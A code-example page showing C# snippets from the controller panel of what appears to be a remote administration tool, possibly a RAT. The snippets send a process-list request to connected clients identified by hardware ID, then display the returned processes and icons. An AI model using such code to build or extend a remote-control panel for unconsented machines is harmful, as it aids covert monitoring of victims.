Example #1
0
 private void ProcessManagerToolStripMenuItem1_Click(object sender, EventArgs e)
 {
     try
     {
         if (listView1.SelectedItems.Count > 0)
         {
             MsgPack msgpack = new MsgPack();
             msgpack.ForcePathObject("Packet").AsString = "processManager";
             msgpack.ForcePathObject("Option").AsString = "List";
             foreach (ListViewItem itm in listView1.SelectedItems)
             {
                 Clients client = (Clients)itm.Tag;
                 this.BeginInvoke((MethodInvoker)(() =>
                 {
                     FormProcessManager processManager = (FormProcessManager)Application.OpenForms["processManager:" + client.ID];
                     if (processManager == null)
                     {
                         processManager = new FormProcessManager
                         {
                             Name = "processManager:" + client.ID,
                             Text = "processManager:" + client.ID,
                             F = this,
                             C = client
                         };
                         processManager.Show();
                         ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
                     }
                 }));
             }
         }
     }
     catch { }
 }
Example #2
0
 public void GetProcess(Clients client, MsgPack unpack_msgpack)
 {
     try
     {
         if (Program.form1.InvokeRequired)
         {
             Program.form1.BeginInvoke((MethodInvoker)(() =>
             {
                 FormProcessManager PM = (FormProcessManager)Application.OpenForms["processManager:" + client.ID];
                 if (PM != null)
                 {
                     PM.listView1.Items.Clear();
                     string processLists = unpack_msgpack.ForcePathObject("Message").AsString;
                     string[] _NextProc = processLists.Split(new[] { "-=>" }, StringSplitOptions.None);
                     for (int i = 0; i < _NextProc.Length; i++)
                     {
                         if (_NextProc[i].Length > 0)
                         {
                             ListViewItem lv = new ListViewItem();
                             lv.Text = Path.GetFileName(_NextProc[i]);
                             lv.SubItems.Add(_NextProc[i + 1]);
                             lv.ToolTipText = _NextProc[i];
                             Image im = Image.FromStream(new MemoryStream(Convert.FromBase64String(_NextProc[i + 2])));
                             PM.imageList1.Images.Add(_NextProc[i + 1], im);
                             lv.ImageKey = _NextProc[i + 1];
                             PM.listView1.Items.Add(lv);
                         }
                         i += 2;
                     }
                 }
             }));
         }
     }
     catch { }
 }
 public void GetProcess(Clients client, MsgPack unpack_msgpack)
 {
     try
     {
         FormProcessManager PM = (FormProcessManager)Application.OpenForms["processManager:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
         if (PM != null)
         {
             if (PM.Client == null)
             {
                 PM.Client            = client;
                 PM.listView1.Enabled = true;
                 PM.timer1.Enabled    = true;
             }
             PM.listView1.Items.Clear();
             PM.imageList1.Images.Clear();
             string   processLists = unpack_msgpack.ForcePathObject("Message").AsString;
             string[] _NextProc    = processLists.Split(new[] { "-=>" }, StringSplitOptions.None);
             for (int i = 0; i < _NextProc.Length; i++)
             {
                 if (_NextProc[i].Length > 0)
                 {
                     ListViewItem lv = new ListViewItem
                     {
                         Text = Path.GetFileName(_NextProc[i])
                     };
                     lv.SubItems.Add(_NextProc[i + 1]);
                     lv.ToolTipText = _NextProc[i];
                     Image im = Image.FromStream(new MemoryStream(Convert.FromBase64String(_NextProc[i + 2])));
                     PM.imageList1.Images.Add(_NextProc[i + 1], im);
                     lv.ImageKey = _NextProc[i + 1];
                     PM.listView1.Items.Add(lv);
                 }
                 i += 2;
             }
         }
     }
     catch { }
 }